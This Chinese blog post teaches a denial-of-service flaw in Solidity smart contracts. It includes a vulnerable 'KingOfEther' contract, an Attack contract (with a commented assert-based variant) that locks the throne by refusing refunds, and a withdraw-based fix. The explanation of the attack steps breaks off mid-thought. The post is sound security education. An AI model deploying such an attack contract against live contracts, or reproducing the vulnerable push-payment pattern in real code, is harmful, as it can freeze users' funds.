合约安全

合约安全:拒绝服务攻击(Denial of Service)

2022-12-05  本文已影响0人  梁帆

一、漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    // You can also perform a DOS by consuming all gas using assert.
    // This attack will work even if the calling contract does not check
    // whether the call was successful or not.
    //
    // function () external payable {
    //     assert(false);
    // }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

这个KingOfEther合约,msg.sender可以通过claimThrone传入以太,当传入的以太数值高于balance的时候,这个msg.sender就成为了king,而且在成为king之前,要把之前king传入的以太返还回去:

(bool sent, ) = king.call{value: balance}("");

这个合约乍一看没有什么问题,但是可能会导致拒绝服务攻击,核心原因就在于,这个返回以太的代码不一定成功执行,一旦无法成功执行,就阻塞在这里了。

我们的攻击合约Attack,核心就是进行了一次KingOfEther的合约调用,试想一下这样的过程:

二、预防手段

合约中,不要主动给地址发以太,发以太时也要仔细斟酌整个逻辑,思考会不会发生DoS攻击。像我们这个例子中,就不能主动发送以太,可以自己设置一个withdraw方法,由用户自己进行提款:

contract KingOfEther {
    address public king;
    uint public balance;
    mapping(address => uint) public balances;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        balances[king] += balance;

        balance = msg.value;
        king = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != king, "Current king cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
上一篇下一篇

猜你喜欢

热点阅读